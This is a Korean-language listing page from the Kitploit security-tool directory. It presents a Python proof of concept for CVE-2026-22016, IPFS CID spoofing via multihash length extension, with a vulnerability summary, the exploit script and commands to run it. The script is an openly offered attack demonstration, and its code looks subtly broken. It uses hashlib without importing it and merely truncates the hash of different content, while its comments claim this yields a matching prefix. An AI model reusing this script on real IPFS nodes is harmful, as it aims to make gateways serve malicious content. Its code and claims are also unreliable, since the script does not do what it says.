Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22016-IPFS-CID-Spoofing-via-Multihash-Length-Extension — multihash 길이 확장을 통한 IPFS CID 스푸핑을 시연하는 Python 개념 증명(PoC)으로, IPFS 게이트웨이를 오염시킬 수 있는 콘텐츠 주소 지정 검증 결함을 강조합니다. | Kitploit
도구/GitHubGitHub/george0papasotiriou/cve-2026-22016-ipfs-cid-spoofing-via-multihash-length-extension
Vulnerability AnalysisExploitationHash AnalysisWeb SecurityCryptographyAdversarial Attack
GitHubgeorge0papasotiriou/cve-2026-22016-ipfs-cid-spoofing-via-multihash-length-extension

CVE-2026-22016-IPFS-CID-Spoofing-via-Multihash-Length-Extension

multihash 길이 확장을 통한 IPFS CID 스푸핑을 시연하는 Python 개념 증명(PoC)으로, IPFS 게이트웨이를 오염시킬 수 있는 콘텐츠 주소 지정 검증 결함을 강조합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
15일 전아직 검토되지 않음

CVE-2026-22016 – 멀티해시 길이 확장을 통한 IPFS CID 스푸핑

프로그램 코드 (Python)

root@kitploit:~
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.

CVE-2026-22016 – 멀티해시 길이 확장을 통한 IPFS CID 스푸핑

Severity: High

개요

IPFS 구현체는 해시 자체가 전체 콘텐츠와 일치하는지 검증하지 않은 채 CID의 멀티해시에 있는 길이 필드를 신뢰합니다. 공격자는 잘린 해시가 정상 파일 해시의 접두사와 일치하는 파일을 생성하고, 동일한 CID로 악성 파일을 제공할 수 있습니다.

취약점 세부 정보

  • 유형: 콘텐츠 스푸핑
  • 영향: 악성 콘텐츠 제공, IPFS 게이트웨이 오염
  • 근본 원인: CID 검증 시 다이제스트 길이가 해시 함수의 예상 출력과 일치하는지 확인하지 않습니다.

익스플로잇 시연

스크립트를 실행합니다:

root@kitploit:~
pip install py-multihash py-cid
python ipfs_cid_spoof.py

이 스크립트는 스푸핑된 CID가 생성될 수 있음을 보여줍니다.

도구 다운로드